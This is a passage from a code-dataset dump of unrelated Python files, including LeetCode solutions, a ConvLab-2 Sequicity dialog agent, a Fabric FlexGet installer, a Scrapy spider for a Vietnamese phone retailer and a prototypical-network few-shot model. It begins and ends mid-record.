37942\n'''\nimport itertools\nimport functools\nclass Solution(object):\n def getPermutation(self, n, k):\n \"\"\"\n :type n: int\n :type k: int\n :rtype: str\n \"\"\"\n if n ==1:return \"1\"\n l = list(range(1,n+1))\n ls = list(itertools.permutations(l))\n ls.sort()\n res = functools.reduce(lambda x ,y:str(x)+str(y), ls[k-1])\n \n return res\n \ns = Solution()\n\nprint (s.getPermutation(1,1))\n","sub_path":"workspace/Leetcode/medium/ps.py","file_name":"ps.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"273957756","text":"\"\"\"\nSequicity is an end-to-end task-oriented dialog system based on a single sequence-to-sequence model that uses belief span to track dialog believes. We adapt the code from github to work in multiwoz corpus.\n\nReference:\n\nLei, W., Jin, X., Kan, M. Y., Ren, Z., He, X., & Yin, D. (2018, July). Sequicity: Simplifying task-oriented dialogue systems with single sequence-to-sequence architectures. In Proceedings of the 56th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers) (pp. 1437-1447).\n\"\"\"\n# -*- coding: utf-8 -*-\nimport os\nimport random\nimport zipfile\nimport json\nimport numpy as np\nimport torch\nimport nltk\nfrom nltk import word_tokenize\nfrom torch.autograd import Variable\n\nfrom convlab2.util.file_util import cached_path\nfrom convlab2.e2e.sequicity.config import global_config as cfg\nfrom convlab2.e2e.sequicity.model import Model\nfrom convlab2.e2e.sequicity.reader import pad_sequences\nfrom convlab2.e2e.sequicity.tsd_net import cuda_\nfrom convlab2.dialog_agent import Agent\n\n# DEFAULT_CUDA_DEVICE = -1\nDEFAULT_DIRECTORY = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nDEFAULT_CONFIG_FILE = os.path.join(DEFAULT_DIRECTORY, \"multiwoz/configs/multiwoz.json\")\nDEFAULT_ARCHIVE_FILE_URL = \"https://huggingface.co/ConvLab/ConvLab-2_models/resolve/main/sequicity_multiwoz_data.zip\"\nDEFAULT_MODEL_URL = \"https://huggingface.co/ConvLab/ConvLab-2_models/resolve/main/sequicity_multiwoz.zip\"\n\n\ndef denormalize(uttr):\n uttr = uttr.replace(' -s', 's')\n uttr = uttr.replace(' -ly', 'ly')\n uttr = uttr.replace(' -er', 'er')\n return uttr\n\n\nclass Sequicity(Agent):\n def __init__(self,\n model_file=DEFAULT_MODEL_URL,\n name='Sequicity'):\n \"\"\"\n Sequicity initialization\n\n Args:\n model_file (str):\n trained model path or url. default=\"https://huggingface.co/ConvLab/ConvLab-2_models/resolve/main/sequicity_multiwoz.zip\"\n\n Example:\n sequicity = Sequicity()\n \"\"\"\n super(Sequicity, self).__init__(name=name)\n nltk.download('punkt')\n config_file = DEFAULT_CONFIG_FILE\n c = json.load(open(config_file))\n cfg.init_handler(c['tsdf_init'])\n if not os.path.exists(os.path.join(DEFAULT_DIRECTORY,'multiwoz/data')):\n print('down load data from', DEFAULT_ARCHIVE_FILE_URL)\n archive_file = cached_path(DEFAULT_ARCHIVE_FILE_URL)\n archive = zipfile.ZipFile(archive_file, 'r')\n print('unzip to', os.path.join(DEFAULT_DIRECTORY,'multiwoz/'))\n archive.extractall(os.path.join(DEFAULT_DIRECTORY,'multiwoz/'))\n archive.close()\n model_path = os.path.join(DEFAULT_DIRECTORY,c['tsdf_init']['model_path'])\n if not os.path.exists(model_path):\n model_dir = os.path.dirname(model_path)\n if not os.path.exists(model_dir):\n os.makedirs(model_dir)\n print('Load from model_file param')\n print('down load data from', model_file)\n archive_file = cached_path(model_file)\n archive = zipfile.ZipFile(archive_file, 'r')\n print('unzip to', model_dir)\n archive.extractall(model_dir)\n archive.close()\n\n torch.manual_seed(cfg.seed)\n torch.cuda.manual_seed(cfg.seed)\n random.seed(cfg.seed)\n np.random.seed(cfg.seed)\n self.m = Model('multiwoz')\n self.m.count_params()\n self.m.load_model()\n self.init_session()\n\n def init_session(self):\n \"\"\"Reset the class variables to prepare for a new session.\"\"\"\n self.kw_ret = dict({'func': self.z2degree})\n\n def z2degree(self, gen_z):\n gen_bspan = self.m.reader.vocab.sentence_decode(gen_z, eos='EOS_Z2')\n constraint_request = gen_bspan.split()\n constraints = constraint_request[:constraint_request.index('EOS_Z1')] if 'EOS_Z1' \\\n in constraint_request else constraint_request\n for j, ent in enumerate(constraints):\n constraints[j] = ent.replace('_', ' ')\n degree = self.m.reader.db_search(constraints[1:], constraints[0] if constraints else 'restaurant')\n degree_input_list = self.m.reader._degree_vec_mapping(len(degree))\n degree_input = cuda_(Variable(torch.Tensor(degree_input_list).unsqueeze(0)))\n return degree, degree_input\n\n def response(self, usr):\n \"\"\"\n Generate agent response given user input.\n\n Args:\n observation (str):\n The input to the agent.\n Returns:\n response (str):\n The response generated by the agent.\n \"\"\"\n # print('usr:', usr)\n usr = word_tokenize(usr.lower())\n usr_words = usr + ['EOS_U']\n u_len = np.array([len(usr_words)])\n usr_indices = self.m.reader.vocab.sentence_encode(usr_words)\n u_input_np = np.array(usr_indices)[:, np.newaxis]\n u_input = cuda_(Variable(torch.from_numpy(u_input_np).long()))\n m_idx, z_idx, degree = self.m.m(mode='test', degree_input=None, z_input=None,\n u_input=u_input, u_input_np=u_input_np, u_len=u_len,\n m_input=None, m_input_np=None, m_len=None,\n turn_states=None, **self.kw_ret)\n venue = random.sample(degree, 1)[0] if degree else dict()\n l = [self.m.reader.vocab.decode(_) for _ in m_idx[0]]\n if 'EOS_M' in l:\n l = l[:l.index('EOS_M')]\n l_origin = []\n for word in l:\n if 'SLOT' in word:\n word = word[:-5]\n if word in venue.keys():\n value = venue[word]\n if value != '?':\n l_origin.append(value)\n elif word.endswith('reference]'):\n if 'ref' in venue:\n l_origin.append(venue['ref'])\n else:\n l_origin.append(word)\n sys = ' '.join(l_origin)\n sys = denormalize(sys)\n # print('sys:', sys)\n if cfg.prev_z_method == 'separate':\n eob = self.m.reader.vocab.encode('EOS_Z2')\n if eob in z_idx[0] and z_idx[0].index(eob) != len(z_idx[0]) - 1:\n idx = z_idx[0].index(eob)\n z_idx[0] = z_idx[0][:idx + 1]\n for j, word in enumerate(z_idx[0]):\n if word >= cfg.vocab_size:\n z_idx[0][j] = 2 # unk\n prev_z_input_np = pad_sequences(z_idx, cfg.max_ts, padding='post', truncating='pre').transpose((1, 0))\n prev_z_len = np.array([len(_) for _ in z_idx])\n prev_z_input = cuda_(Variable(torch.from_numpy(prev_z_input_np).long()))\n self.kw_ret['prev_z_len'] = prev_z_len\n self.kw_ret['prev_z_input'] = prev_z_input\n self.kw_ret['prev_z_input_np'] = prev_z_input_np\n return sys\n\nif __name__ == '__main__':\n s = Sequicity()\n print(s.response(\"I want to find a cheap restaurant\"))\n print(s.response(\"ok, what is the address ?\"))\n","sub_path":"convlab2/e2e/sequicity/multiwoz/sequicity.py","file_name":"sequicity.py","file_ext":"py","file_size_in_byte":7159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"151308120","text":"width = int(input(\"Введите ширину:\"))\nlength = int(input(\"Введите длину:\"))\nheight = int(input(\"Введите высоту:\"))\nif(width<15 and length<15 and height<15):\n print(\"Коробка №1\")\nelif (width > 15 and width < 50) or (length > 15 and length < 0) or (height > 15 and height < 50):\n print(\"Коробка №2\")\nelif length > 200:\n print(\"Коробка для лыж\")\nelse:\n print(\"Стандартная коробка №3\")","sub_path":"Домашняя работа 1/Basics/exercise 4.py","file_name":"exercise 4.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"603981670","text":"from .graph import Graph\nfrom .logger import load_logger\n\n\ndef create_graph(sess, edges, test=False):\n '''\n Create graph based off of text file of tuples linked to\n in path.\n '''\n\n load_logger.info('Creating graph with ' + str(len(edges)) + ' edges.')\n cls = \"main\" if test is False else \"test\"\n\n graph = Graph(sess)\n for parent, rel, child in edges:\n load_logger.debug('Autocreating edge: (' + parent + ') - [' +\n rel + '] -> (' + child + ').')\n parent_nd = graph.build_node(name=parent, cls=cls, ind='a')\n child_nd = graph.build_node(name=child, cls=cls, ind='b')\n edge = graph.build_edge(rel=rel)\n\n graph.add_entity(parent_nd)\n graph.add_entity(child_nd)\n graph.add_relationship(parent_nd, child_nd, edge)\n\n load_logger.info('Graph with ' + str(len(edges)) + ' edges is created.')\n return graph\n\n\ndef load_graph(sess):\n '''\n Generate empty graph without loading in additional data,\n assuming server-side Neo4j graph already exists.\n '''\n\n load_logger.info('Loading graph without automatic creation.')\n return Graph(sess)\n\n","sub_path":"Template/src/graph/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"500328934","text":"__author__ = 'web'\n\n\nclass Solution:\n # @return a tuple, (index1, index2)\n def twoSum(self, num, target):\n index_map = {}\n for index in range(len(num)):\n current = num[index]\n new_target = target - current\n if current in index_map:\n return [index_map[current] + 1, index + 1]\n else:\n index_map[new_target] = index\n","sub_path":"web/python/solution/Two Sum.py","file_name":"Two Sum.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"592541779","text":"# coding: utf-8\n\"\"\"\n\n\"\"\"\n\nimport collections\nimport typing\n\nfrom .. import db\nfrom .. import models\nfrom . import errors\nfrom . import object_log\nfrom . import user_log\nfrom .objects import get_object\nfrom .users import get_user\n\n\nclass Publication(collections.namedtuple('Publication', ['doi', 'title', 'object_name'])):\n \"\"\"\n This class provides an immutable wrapper around models.object_publications.ObjectPublication.\n \"\"\"\n\n def __new__(cls, doi: str, title: str, object_name: str):\n self = super(Publication, cls).__new__(cls, doi, title, object_name)\n return self\n\n @classmethod\n def from_database(cls, publication: models.object_publications.ObjectPublication) -> 'Publication':\n return Publication(\n doi=publication.doi,\n title=publication.title,\n object_name=publication.object_name\n )\n\n\ndef link_publication_to_object(\n user_id: int,\n object_id: int,\n doi: str,\n title: typing.Optional[str] = None,\n object_name: typing.Optional[str] = None\n):\n \"\"\"\n Link a publication to an object.\n\n :param user_id: the ID of an existing user\n :param object_id: the ID of an existing object\n :param doi: the DOI of an existing publication\n :param title: the title of the publication\n :param object_name: the name of the object in the publication\n :raise errors.ObjectDoesNotExistError: when no object with the given object\n ID exists\n :raise errors.UserDoesNotExistError: when no user with the given user ID\n exists\n \"\"\"\n get_user(user_id)\n get_object(object_id)\n link = models.object_publications.ObjectPublication.query.filter_by(object_id=object_id, doi=doi).first()\n if link is None:\n link = models.object_publications.ObjectPublication(object_id=object_id, doi=doi)\n link.title = title\n link.object_name = object_name\n db.session.add(link)\n db.session.commit()\n user_log.link_publication(user_id=user_id, object_id=object_id, doi=doi, title=title, object_name=object_name)\n object_log.link_publication(user_id=user_id, object_id=object_id, doi=doi, title=title, object_name=object_name)\n\n\ndef get_publications_for_object(object_id: int) -> typing.Sequence[Publication]:\n \"\"\"\n Get a list of publications linked to an object with a given ID.\n\n :param object_id: the ID of an existing object\n :return: a list of publications linked to the given object\n :raise errors.ObjectDoesNotExistError: when no object with the given object ID\n exists\n \"\"\"\n get_object(object_id)\n links = models.object_publications.ObjectPublication.query.filter_by(object_id=object_id).all()\n return [\n Publication.from_database(link)\n for link in links\n ]\n\n\ndef get_object_ids_linked_to_doi(doi: str) -> typing.Sequence[int]:\n \"\"\"\n Get a list of object IDs linked to a publication.\n\n :param doi: the DOI of the publication\n :return: the list of object IDs\n :raise errors.InvalidDOIError: when the DOI is invalid\n \"\"\"\n doi = simplify_doi(doi)\n links = models.object_publications.ObjectPublication.query.filter_by(doi=doi).all()\n return [\n link.object_id\n for link in links\n ]\n\n\ndef simplify_doi(doi: str) -> str:\n \"\"\"\n Simplify a digital object identifier (DOI).\n\n :param doi: the DOI to simplify\n :return: the simplified DOI\n :raise errors.InvalidDOIError: when the DOI is invalid\n \"\"\"\n doi = doi.lower()\n doi_prefixes = [\n 'doi:',\n 'https://doi.org/'\n ]\n for doi_prefix in doi_prefixes:\n if doi.startswith(doi_prefix):\n doi = doi[len(doi_prefix):]\n break\n # DOI organizer part must start with '10.'\n if not doi.startswith('10.'):\n raise errors.InvalidDOIError()\n # DOI must be split into organizer and object parts by a slash\n if '/' not in doi[4:-1]:\n raise errors.InvalidDOIError()\n organizer_id, object_id = doi[3:].split('/', 1)\n if any(c not in '0123456789.' for c in organizer_id):\n raise errors.InvalidDOIError()\n if any(c in '<>\"' for c in object_id):\n raise errors.InvalidDOIError()\n return doi\n","sub_path":"sampledb/logic/publications.py","file_name":"publications.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"294401128","text":"from datetime import datetime\n\nfrom .database.models.models import Opportunity, Scholarship, Resource\n\n\ndef allDateDisplay():\n opportunities = Opportunity.query.order_by(\n Opportunity.datePosted.desc()).all()\n dateDict = {}\n for opportunity in opportunities:\n temp = []\n if (opportunity.startDate):\n temp.append(opportunity.startDate.strftime(\"%B %d, %Y\"))\n if (opportunity.endDate):\n temp.append(opportunity.endDate.strftime(\"%B %d, %Y\"))\n if (opportunity.deadline):\n temp.append(opportunity.deadline.strftime(\"%A, %B %d, %Y\"))\n dateDict[opportunity.opportunityID] = temp\n return dateDict\n\n\ndef dateDisplay(opportunityID):\n opportunity = Opportunity.query.filter_by(\n opportunityID=opportunityID).first()\n dateList = []\n if (opportunity.startDate):\n dateList.append(opportunity.startDate.strftime(\"%B %d, %Y\"))\n if (opportunity.endDate):\n dateList.append(opportunity.endDate.strftime(\"%B %d, %Y\"))\n if (opportunity.deadline):\n dateList.append(opportunity.deadline.strftime(\"%A, %B %d, %Y\"))\n return dateList\n\n\ndef allDateDisplayS():\n scholarships = Scholarship.query.order_by(\n Scholarship.datePosted.desc()).all()\n dateDict = {}\n for scholarship in scholarships:\n if (scholarship.deadline):\n dateDict[scholarship.scholarshipID] = scholarship.deadline.strftime(\n \"%A, %B %d, %Y\")\n return dateDict\n\n\ndef dateDisplayS(scholarshipID):\n scholarship = Scholarship.query.filter_by(\n scholarshipID=scholarshipID).first()\n dateList = []\n if (scholarship.deadline):\n dateList.append(scholarship.deadline.strftime(\"%A, %B %d, %Y\"))\n return dateList\n","sub_path":"app/utl/dateconv.py","file_name":"dateconv.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"570895106","text":"from fabric.api import env, sudo, execute\nfrom fabric.contrib import files\nfrom lib.utils import Pip, Service\n\ndef install_flexget():\n Pip.install('setuptools', 'flexget')\n\ndef upload_template(filename, destination, **kwargs):\n files.upload_template(\n filename=filename,\n destination=destination,\n context=env.settings,\n use_jinja=True,\n keep_trailing_newline=True,\n use_sudo=True,\n **kwargs,\n )\n\ndef create_flexget_service():\n upload_template(\n filename='templates/flexget/flexget.j2.service',\n destination='/etc/systemd/system/flexget.service',\n mode='0755',\n )\n sudo('chown root:root {}'.format('/etc/systemd/system/flexget.service'))\n\n Service.daemon_reload()\n Service.enable('flexget')\n\ndef configure_flexget():\n sudo('mkdir -p /usr/local/etc/flexget')\n upload_template(\n filename='templates/flexget/config.j2.yml',\n destination='/usr/local/etc/flexget/config.yml',\n )\n\ndef restart_flexget():\n Service.restart('flexget')\n\ndef flexget():\n execute(install_flexget)\n execute(create_flexget_service)\n execute(configure_flexget)\n execute(restart_flexget)\n","sub_path":"lib/flexget.py","file_name":"flexget.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"538410492","text":"import inspect\n\ndef mysetattr(self,obj,value):\n caller = inspect.currentframe().f_back\n caller_name = caller.f_code.co_name\n caller_type = caller.f_locals.get('self').__class__.__name__\n obj_class = self.__class__.__name__\n print(\"caller: {0}, caller_type: {1}, obj_type: {2}\".format(caller_name,caller_type,obj_class))\n if not(caller_type==obj_class and caller_name =='__init__'):\n if not(self.__dict__.get(obj)):\n raise AssertionError(\"Stai cercando di settare l'attributo {0} nel metodo {1} della classe {2}, dovresti farlo in {3}\".format(obj,caller_name,caller_type,obj_class))\n object.__setattr__(self,obj,value)\n\nclass EnforceOO(type):\n def __new__(metacl,classname,subs,dct):\n dct['__setattr__']=mysetattr\n return type.__new__(metacl,classname,subs,dct)\n","sub_path":"ObjectOOGoodPractice/good_practice2.py","file_name":"good_practice2.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"129960316","text":"import scrapy\nimport os\nfrom datetime import date\n\nbasedir = os.path.dirname(os.path.realpath('__file__'))\n\n# Xử lý tên sản phẩm\n# Hàm xử lý tên sản phẩm\ndef name_processing(name):\n bl_list = ['(', ')', '-', '–', '/', '[', ']', ',',\n 'camera kép', 'camera', 'còn bảo hành', 'Single Sim', 'Không Có Google', 'Pin 100%', 'qt',\n 'bảo hành chính hãng', 'quốc tế mới 100%', 'mới 100%', 'nguyên seal', 'chưa active', 'Quốc tế', '95%',\n 'QT', '100%', 'Chưa Active', '2017', 'Sạc Ít Lần', 'Fullbox', 'Phiên',\n 'Bản', 'Mới 100%', 'Quốc Tế', 'Hàn Quốc', 'Bản Hàn Quốc', 'tím', 'màu', 'Đẹp', 'đẹp', 'Deep Gray',\n 'Máy Người Già', 'Máy người già', 'Mùa Xuân',\n 'mùa hè', 'huyền bí', 'Đồng ánh kim', 'Ánh Kim', 'Đen Than', 'Ánh Sao', 'Thiên',\n 'Màu', 'Mới', 'mới', 'Rom',\n '+512GB', '+256GB', '+128GB', '+64GB', '+8GB', '+16GB', '+32GB', '+4GB', '+512Gb', '+256Gb', '+128Gb',\n '+64Gb', '+8Gb', '+16Gb', '+32Gb', '+4Gb',\n '512GB', '256GB', '128GB', '64GB', '8GB', '16GB', '32GB', '4GB', '512Gb', '256Gb', '128Gb', '64Gb',\n '8Gb', '16Gb', '32Gb', '4Gb',\n '512 GB', '256 GB', '128 GB', '64 GB', '8 GB', '16 GB', '32 GB', '4 GB', '+512G', '+256G', '+128G',\n '+64G', '+16G', '+32G',\n '512gb', '256gb', '128gb', '64gb', '8gb', '16gb', '32gb', '6gb', '4gb', '512G', '256G', '128G', '64G',\n '16G', '32G', '2GB', '3GB', '512g', '256g', '128g', '64g', '8g', '16g', '32g', '4g', '6g', '3g', '5g',\n 'Xanh đại dương', 'đại dương', 'ánh sao', 'hoàng hôn', 'Xanh lá', 'Vàng đồng', 'nước biển',\n 'Vàng đồng', 'lá', 'lục', 'Đồng', 'Khói', 'bích', 'huyền bí', 'nhật thực', 'Biển', 'mận', 'Dương',\n 'Lá', 'Đỏ', 'Đen', 'Lục', 'Cực', 'Quang', 'tinh', 'thạch', 'Ngọc', 'Trai', 'Bạc', 'Hà', 'Lam', 'Thủy',\n 'Triều', 'Đồng', 'Vàng', 'Xanh', 'Đen', 'Trắng', 'Thạch', 'Anh', 'lá', 'ngọc', 'lam', 'Sapphire',\n 'Pink', 'Deep Gray', 'Deep', 'Mint', 'Yellow', 'Champagne', 'Grey', 'Black', 'Gold', 'Graphite',\n 'Silver', 'Blue', 'Tím', 'Green', 'Sliver', 'Trắng', 'Xám', 'Pacific', 'Blue', 'White', 'Gray',\n 'Violet', 'Purple', 'Red', 'Browns',\n 'bảo hành', 'độc', 'đáo', 'hạt', 'tiêu', '(KHÔNG KÈM THẺ NHỚ)', 'Thoại', '2019', '2020', '2018', '2017',\n 'Bộ 3 Camera', 'Bộ 4 Camera Sau 48Mp', 'Siêu Màn Hình', 'Màn Hình Giọt Nước', 'Sạc Nhanh',\n '6.67Inch', '6.5Inch', '6.9Inch', '2 sim', '6.1Inch', '2 Sim', 'VNA', 'hải', 'quân', 'san hô', 'trai',\n 'dương', 'cẩm', 'KHÔNG KÈM THẺ NHỚ', 'San Hô', 'Nhật Thực', 'Sương Mai', 'Đam Mê', 'lục', 'bảo', 'Bảo',\n 'sương', 'hồng', 'Bích', 'tú', 'thủy', 'Hải', 'Âu', 'Hồng', 'pha', 'lê', 'quang', 'cực', 'Cam', 'hà',\n 'Phong', 'Vân',\n '1 sim', '1 Sim', 'Mỹ', 'New', 'BH12T', 'Certified', 'PreOwned', 'Special', 'Product', 'ram', 'cty',\n 'RAM', 'Edge', 'Batman', 'Injustice', 'Cty',\n 'Apple', 'APPLE', '6.4Inch', '5.3Inch', '6.4Inch', '6.23Inch', '6.2Inch', '5.7Inch', '6.2Inch',\n '6.4Inch', 'Đại', 'like',\n 'Đtdđ', 'ĐTDĐ', '8+128', '6 + 128',\n '2+32', '9798%', '98%', '97%', '99%', '95%', 'Camera Sau', 'Active | Pin 4000Ma, Chip Snap 835',\n 'Pin 5000Mah', 'Pin 5000 Mah', 'Không Có Google', 'Fan Edition',\n ' \\t', '\\t',\n ]\n\n if name == None:\n return ''\n for character in bl_list:\n name = name.replace(character, '')\n name = name.replace(character.lower(), '')\n name = name.replace(character.title(), '')\n name = name.replace(character.upper(), '')\n\n black_list1 = ['Chính', 'hãng', 'I', 'VN/A', 'chính', '|', '-', 'Hãng']\n\n unprocess_name = name.split()\n processed_name = []\n for i in unprocess_name:\n if i not in black_list1:\n processed_name.append(i)\n return ' '.join(processed_name).title()\n\n\n# Xử lý price\ndef format_price(price):\n _list = ['đ', '₫', '.', ',', 'VNĐ', 'VND', '\\r', '\\n', '\\t', ' ', ' ']\n if not price:\n return None\n else:\n for i in _list:\n price = price.replace(i, '')\n return price\n\n\n# Xử lý bộ nhớ\ndef format_bonho(name):\n attr_bonho = 'None'\n list_attr_bonho = ['512GB', '256GB', '128GB', '64GB', '16GB', '32GB', '512Gb', '256Gb', '128Gb', '64Gb', '16Gb',\n '32Gb']\n\n for i in list_attr_bonho:\n if i in name:\n attr_bonho = i\n return attr_bonho\n\n# Lớp crawl dữ liệu\nclass cellphones(scrapy.Spider):\n name = 'cellphones'\n base_url = 'https://cellphones.com.vn/mobile.html?p=%s'\n start_urls = [base_url % 1]\n\n def parse(self, response):\n self.log('Visited ' + response.url)\n\n products = response.css('.products-container .cols-5 .cate-pro-short')\n\n self.log('products ' + str(len(products)))\n for product in products:\n title = name_processing(product.css('div.lt-product-group-info > a > h3::text').get()).title()\n item_link = product.css('div.lt-product-group-info > a::attr(href)').get()\n thuong_hieu = item_link.split('/')[3].split('-')[0]\n\n item = {\n 'ten': title,\n 'url': item_link,\n 'image': product.css('li.cate-pro-short > div.lt-product-group-image > a > img::attr(data-src)').get(),\n 'ngay': date.today().strftime(\"%Y-%m-%d\"),\n 'loaisanpham': 'dienthoai',\n 'thuonghieu': thuong_hieu\n }\n yield scrapy.Request(url=item_link, meta={'item': item}, callback=self.get_detail)\n\n [_, i] = response.url.split(\"=\")\n n_child = 2 if int(i) < 2 else 3\n\n\n next_page_url = response.css('div.pages > ul:nth-child({}) > li > a::attr(href)'.format(n_child)).extract_first()\n next_page_url = response.urljoin(next_page_url)\n yield scrapy.Request(url=next_page_url, callback=self.parse)\n\n def get_detail(self, response):\n self.log('Visited ' + response.url)\n item = response.meta['item']\n\n option_old_price = format_price(response.css('p.old-price > span::text').get())\n option_rom = response.css('div.linked-products.f-left > div > a.active > span::text').get()\n\n option_rom_active = response.css('div.linked-products.f-left > div > a.active > span::text').get()\n option_color_active = response.css('ul#configurable_swatch_color > li > a > label > span.opt-name::text').get()\n\n tskt = response.css('div.lt-table-box.technical-info').get()\n mota = response.css('div.blog-content').get()\n\n attributes = []\n _attributes = response.css('ul#configurable_swatch_color > li')\n for attribute in _attributes:\n option_color = attribute.css('li > a > label > span.opt-name::text').get().title()\n option_new_price = format_price(attribute.css('a > label > span.opt-price::text').get())\n\n if option_color == option_color_active and option_rom == option_rom_active:\n active = True\n else:\n active = False\n\n attributes.append({\n 'bonho': option_rom,\n 'mausac': option_color,\n 'giagoc': option_old_price,\n 'giamoi': option_new_price,\n 'active': active\n })\n item['thuoctinh'] = attributes\n item['tskt'] = tskt\n item['mota'] = mota\n return item\n","sub_path":"scraper/spiders/mobile/cellphones.py","file_name":"cellphones.py","file_ext":"py","file_size_in_byte":7944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"373063730","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.autograd import Variable\n\nfrom protonets.models import register_model\n\nfrom .utils import euclidean_dist\nfrom visdom import Visdom\nimport copy\n\nviz = Visdom()\n\nclass Flatten(nn.Module):\n def __init__(self):\n super(Flatten, self).__init__()\n\n def forward(self, x):\n return x.view(x.size(0), -1)\n\nclass Protonet(nn.Module):\n def __init__(self, shared_layers, corase_classifier, n_corase, fine_encoders):\n super(Protonet, self).__init__()\n # self.register_buffer('shared_layers', shared_layers)\n # self.register_buffer('corase_classifier', corase_classifier)\n self.shared_layers = shared_layers\n self.corase_classifier = corase_classifier\n self.n_corase = n_corase\n for i in range(self.n_corase):\n self.add_module('fine_encoder_'+str(i), fine_encoders[i])\n\n def loss(self, sample):\n xs = Variable(sample['xs']) # support\n xq = Variable(sample['xq']) # query\n \n n_class = xs.size(0)\n assert xq.size(0) == n_class\n n_support = xs.size(1)\n n_query = xq.size(1)\n\n corase_class_s = sample['corase_class'].view(n_class, 1, 1).expand(n_class, n_support, 1)\n corase_class_q = sample['corase_class'].view(n_class, 1, 1).expand(n_class, n_query, 1)\n\n corase_inds = Variable(torch.cat((corase_class_s.contiguous().view(n_class * n_support, 1), \n corase_class_q.contiguous().view(n_class * n_query, 1))).long())\n\n target_inds = torch.arange(0, n_class).view(n_class, 1, 1).expand(n_class, n_query, 1).long()\n target_inds = Variable(target_inds, requires_grad=False)\n\n if xq.is_cuda:\n target_inds = target_inds.cuda()\n corase_inds = corase_inds.cuda()\n\n x = torch.cat([xs.view(n_class * n_support, *xs.size()[2:]),\n xq.view(n_class * n_query, *xq.size()[2:])], 0)\n\n # share layers part\n z_share = self.shared_layers.forward(x)\n\n # corase classifier part\n z_corase = self.corase_classifier.forward(z_share)\n log_p_y_corase = F.log_softmax(z_corase)\n p_y_corase = F.softmax(z_corase)\n \n loss_val_corase = -log_p_y_corase.gather(1, corase_inds).squeeze().view(-1).mean()\n\n _, y_hat = log_p_y_corase.max(1)\n acc_val_corase = torch.eq(y_hat, corase_inds.squeeze()).float().mean()\n\n # fine feature part\n z = self._modules['fine_encoder_0'].forward(z_share)\n z = p_y_corase[:, 0].contiguous().view(p_y_corase.size()[0], 1).expand(z.size()) * z\n z_dim = z.size(-1)\n\n for i in range(1, self.n_corase): \n z += p_y_corase[:, i].contiguous().view(p_y_corase.size()[0], 1).expand(z.size()) * self._modules['fine_encoder_'+str(i)].forward(z_share)\n\n z_proto = z[:n_class*n_support].view(n_class, n_support, z_dim).mean(1)\n zq = z[n_class*n_support:]\n\n dists = euclidean_dist(zq, z_proto)\n\n log_p_y = F.log_softmax(-dists).view(n_class, n_query, -1)\n \n loss_val = -log_p_y.gather(2, target_inds).squeeze().view(-1).mean()\n\n _, y_hat = log_p_y.max(2)\n acc_val = torch.eq(y_hat, target_inds.squeeze()).float().mean()\n \n w = 0.5\n return loss_val + 0.5 * loss_val_corase, {\n 'loss': loss_val.data[0],\n 'acc': acc_val.data[0]\n }\n\n # return loss_val_corase, {\n # 'loss': loss_val_corase.data[0],\n # 'acc': acc_val_corase.data[0]\n # }\n\n@register_model('protonet_conv')\ndef load_protonet_conv(**kwargs):\n x_dim = kwargs['x_dim']\n hid_dim = kwargs['hid_dim']\n z_dim = kwargs['z_dim']\n n_corase = kwargs['n_corase']\n\n def conv_block(in_channels, out_channels):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.MaxPool2d(2)\n )\n \n shared_layers = nn.Sequential(\n conv_block(x_dim[0], hid_dim),\n conv_block(hid_dim, hid_dim),\n conv_block(hid_dim, hid_dim),\n )\n\n # model = torch.load('proto_results/m30_5way5shot/best_model.t7')\n\n # # load pretrained layers \n # shared_layers = nn.Sequential(\n # copy.deepcopy(model.encoder[0]),\n # copy.deepcopy(model.encoder[1]),\n # copy.deepcopy(model.encoder[2])\n # )\n\n # model = torch.load('results/m30_5way5shot/best_model.t7')\n\n def gap_block(in_channels, out_channels, pre_size):\n return nn.Sequential(\n nn.Conv2d(hid_dim, out_channels, kernel_size=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.AvgPool2d(pre_size),\n )\n\n # corase_classifier = copy.deepcopy(model.corase_classifier)\n\n corase_classifier = nn.Sequential(\n gap_block(hid_dim, n_corase, x_dim[1] // 8),\n Flatten()\n )\n\n fine_encoders = []\n for i in range(n_corase):\n fine_encoders.append(nn.Sequential(\n conv_block(hid_dim, z_dim),\n Flatten()\n ))\n # encoder = nn.Sequential(\n # conv_block(x_dim[0], hid_dim),\n # conv_block(hid_dim, hid_dim),\n # conv_block(hid_dim, hid_dim),\n # conv_block(hid_dim, z_dim),\n # Flatten()\n # )\n\n return Protonet(shared_layers, corase_classifier, n_corase, fine_encoders)\n","sub_path":"protonets/models/few_shot.py","file_name":"few_shot.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"620793031","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /src/c2cgeoportal/scaffolds/update/CONST_alembic/main/versions/22e6dfb556de_add_description_tree_.py\n# Compiled 